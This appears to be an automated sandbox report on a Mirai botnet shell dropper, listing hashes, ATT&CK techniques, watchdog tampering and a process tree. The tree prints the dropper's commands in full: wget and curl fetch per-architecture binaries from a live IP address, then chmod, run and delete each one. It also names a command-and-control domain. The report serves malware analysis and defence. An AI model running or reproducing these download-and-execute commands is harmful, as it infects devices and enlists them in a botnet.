mirai | cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85

Analysis

max time kernel
176s
max time network
178s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/06/2026, 13:09

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General

Target
_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
Size 2KB
Sample260620-qd2rpse19l
SHA256 cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85
MD5 2368ac3acb08766f54a6bf55852b6cc2
SHA1 337fc7a94259d4a117fe2eb35ba9184feb83ec89
SHA512 633fce7183e10eb65fc92429101054913f6dc71cc7e3490c9523a1c1aabfb08908e0d55166b31614f25b07bf40ef5e059f59610872420c490479c5bc0cd5e4ef
TLSH
T1AA5188C6108177326DF6DD32BABA88157280D09B64CFAF999DD8BBA984CDD04BC51743
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

u87yy3f87b23f8293bfg83bgu94.bombamodzik.xyz

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
879	chmod
885	chmod
747	chmod
815	chmod
855	chmod
861	chmod
867	chmod
897	chmod
757	chmod
873	chmod
891	chmod
731	chmod
777	chmod
801	chmod
741	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nz.x86	732	_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	nz.mpsl
File opened for modification	/dev/misc/watchdog	nz.mpsl

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	nz.mpsl
File opened for modification	/bin/watchdog	nz.mpsl

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-2.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/229/status	nz.mpsl
File opened for reading	/proc/366/status	nz.mpsl
File opened for reading	/proc/2/status	nz.mpsl
File opened for reading	/proc/18/status	nz.mpsl
File opened for reading	/proc/22/status	nz.mpsl
File opened for reading	/proc/120/status	nz.mpsl
File opened for reading	/proc/699/status	nz.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/status	nz.mpsl
File opened for reading	/proc/664/status	nz.mpsl
File opened for reading	/proc/702/status	nz.mpsl
File opened for reading	/proc/811/status	nz.mpsl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/317/status	nz.mpsl
File opened for reading	/proc/3/status	nz.mpsl
File opened for reading	/proc/16/status	nz.mpsl
File opened for reading	/proc/76/status	nz.mpsl
File opened for reading	/proc/339/status	nz.mpsl
File opened for reading	/proc/714/status	nz.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/318/status	nz.mpsl
File opened for reading	/proc/794/status	nz.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/status	nz.mpsl
File opened for reading	/proc/9/status	nz.mpsl
File opened for reading	/proc/15/status	nz.mpsl
File opened for reading	/proc/23/status	nz.mpsl
File opened for reading	/proc/108/status	nz.mpsl
File opened for reading	/proc/365/status	nz.mpsl
File opened for reading	/proc/403/status	nz.mpsl
File opened for reading	/proc/701/status	nz.mpsl
File opened for reading	/proc/4/status	nz.mpsl
File opened for reading	/proc/72/status	nz.mpsl
File opened for reading	/proc/74/status	nz.mpsl
File opened for reading	/proc/818/status	nz.mpsl
File opened for reading	/proc/12/status	nz.mpsl
File opened for reading	/proc/154/status	nz.mpsl
File opened for reading	/proc/798/status	nz.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/24/status	nz.mpsl
File opened for reading	/proc/121/status	nz.mpsl
File opened for reading	/proc/148/status	nz.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/status	nz.mpsl
File opened for reading	/proc/13/status	nz.mpsl
File opened for reading	/proc/19/status	nz.mpsl
File opened for reading	/proc/73/status	nz.mpsl
File opened for reading	/proc/77/status	nz.mpsl
File opened for reading	/proc/340/status	nz.mpsl
File opened for reading	/proc/1/status	nz.mpsl
File opened for reading	/proc/170/status	nz.mpsl
File opened for reading	/proc/210/status	nz.mpsl
File opened for reading	/proc/657/status	nz.mpsl
File opened for reading	/proc/819/status	nz.mpsl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/status	nz.mpsl
File opened for reading	/proc/10/status	nz.mpsl
File opened for reading	/proc/20/status	nz.mpsl
File opened for reading	/proc/344/status	nz.mpsl
File opened for reading	/proc/816/status	nz.mpsl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
735	wget
740	curl
742	nz.mips
744	rm

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nz.arm	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/nz.mips	wget
File opened for modification	/tmp/nz.arc	wget
File opened for modification	/tmp/nz.x86_64	wget
File opened for modification	/tmp/nz.i686	wget
File opened for modification	/tmp/nz.arm5	curl
File opened for modification	/tmp/nz.ppc	curl
File opened for modification	/tmp/nz.m68k	curl
File opened for modification	/tmp/nz.m68k	wget
File opened for modification	/tmp/nz.sh4	wget
File opened for modification	/tmp/nz.mpsl	wget
File opened for modification	/tmp/nz.i468	curl
File opened for modification	/tmp/nz.x86_64	curl
File opened for modification	/tmp/nz.arm7	wget
File opened for modification	/tmp/nz.arm7	curl
File opened for modification	/tmp/nz.ppc	wget
File opened for modification	/tmp/nz.sh4	curl
File opened for modification	/tmp/nz.arm5	wget
File opened for modification	/tmp/nz.arm6	wget
File opened for modification	/tmp/nz.spc	wget
File opened for modification	/tmp/nz.x86	wget
File opened for modification	/tmp/nz.mips	curl
File opened for modification	/tmp/nz.i686	curl
File opened for modification	/tmp/nz.arm	wget
File opened for modification	/tmp/nz.mpsl	curl
File opened for modification	/tmp/nz.arm6	curl
File opened for modification	/tmp/nz.spc	curl
File opened for modification	/tmp/nz.x86	curl
File opened for modification	/tmp/nz.arc	curl

/tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
/tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
1⤵
- Executes dropped EXE
PID:704
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:710
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.x86 systemd-private-94c70bf5c5094d3397893db7fa0aab88-systemd-timedated.service-d2KtU5
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/nz.x86
  ./nz.x86 nz.x86
  2⤵
  PID:732
- /bin/rm
  rm -rf nz.x86
  2⤵
  PID:734
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.mips
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/nz.mips
  ./nz.mips nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/rm
  rm -rf nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:744
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arc
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/nz.arc
  ./nz.arc nz.arc
  2⤵
  PID:748
- /bin/rm
  rm -rf nz.arc
  2⤵
  PID:750
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.i468
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.i468
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/nz.i468
  ./nz.i468 nz.i468
  2⤵
  PID:758
- /bin/rm
  rm -rf nz.i468
  2⤵
  PID:760
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.i686
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/nz.i686
  ./nz.i686 nz.i686
  2⤵
  PID:778
- /bin/rm
  rm -rf nz.i686
  2⤵
  PID:781
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/nz.x86_64
  ./nz.x86_64 nz.x86_64
  2⤵
  PID:803
- /bin/rm
  rm -rf nz.x86_64
  2⤵
  PID:806
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:807
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/nz.mpsl
  ./nz.mpsl nz.mpsl
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:816
- /bin/rm
  rm -rf nz.mpsl
  2⤵
  PID:852
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm
  2⤵
  - Writes file to tmp directory
  PID:853
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/nz.arm
  ./nz.arm nz.arm
  2⤵
  PID:856
- /bin/rm
  rm -rf nz.arm
  2⤵
  PID:858
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm5
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/nz.arm5
  ./nz.arm5 nz.arm5
  2⤵
  PID:862
- /bin/rm
  rm -rf nz.arm5
  2⤵
  PID:864
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm6
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/nz.arm6
  ./nz.arm6 nz.arm6
  2⤵
  PID:868
- /bin/rm
  rm -rf nz.arm6
  2⤵
  PID:870
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm7
  2⤵
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/nz.arm7
  ./nz.arm7 nz.arm7
  2⤵
  PID:874
- /bin/rm
  rm -rf nz.arm7
  2⤵
  PID:876
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.ppc
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/nz.ppc
  ./nz.ppc nz.ppc
  2⤵
  PID:880
- /bin/rm
  rm -rf nz.ppc
  2⤵
  PID:882
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.spc
  2⤵
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.spc
  2⤵
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.spc
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/nz.spc
  ./nz.spc nz.spc
  2⤵
  PID:886
- /bin/rm
  rm -rf nz.spc
  2⤵
  PID:888
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.m68k
  2⤵
  - Writes file to tmp directory
  PID:889
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/nz.m68k
  ./nz.m68k nz.m68k
  2⤵
  PID:892
- /bin/rm
  rm -rf nz.m68k
  2⤵
  PID:894
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.sh4
  2⤵
  - Writes file to tmp directory
  PID:895
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.sh4
  2⤵
  - Writes file to tmp directory
  PID:896
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh nz.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/nz.sh4
  ./nz.sh4 nz.sh4
  2⤵
  PID:898
- /bin/rm
  rm -rf nz.sh4
  2⤵
  PID:900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 857KB
SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
MD5 6ffc46165b5d9726a6607f3ea5305589
SHA1 ab127220f42e816b413dde0d17031e251a7bc98f
SHA512 456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8
SSDEEP 12288:JPhF2a+T7dHoLBMr/PgVbC47UnA+x9toFOUKPmG3QnPB9AG+PZQCfjrcDIQmin4D:JPhF2HTchw+jK+zFrCNYa+WUXSXPDd
TLSH
T195155C029F141FEBC8DBCD318A2DD36714EDCC9F02DA567A78BC8888764A64E9DD7448
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nz.x86

Path /tmp/nz.x86
Size 38KB
SHA256 c544eee59638d1d3441f2626e2023dfc92c7c44ed88bdb08bef0ea097eb8728f
MD5 d5f91fc95e3790abfe3d85ca6b4d114a
SHA1 056b22f02fec7732f0da6b9429ad71469fe35334
SHA512 8fe214990b31e6abd09953d635814c2319f42f8ce0b797170cf8ffc0a7d9b889b67ba565b6f0127b6c244045ecef489b4d92f71c112c600bc09b66fed8fc43d1
SSDEEP 768:kKHoLnvmog+t5H9079Q98Vr3dLGecSIwSnbcuyD7UHQRjO:GnvmopN07a7eJIwSnouy8Hyi
TLSH
T11B03F16BC2695E90DA2DD3309EEAF11E7831F6298336C21078D034669CBD9D1353D7D4
MD5 SHA1 SHA512 SSDEEP TLSH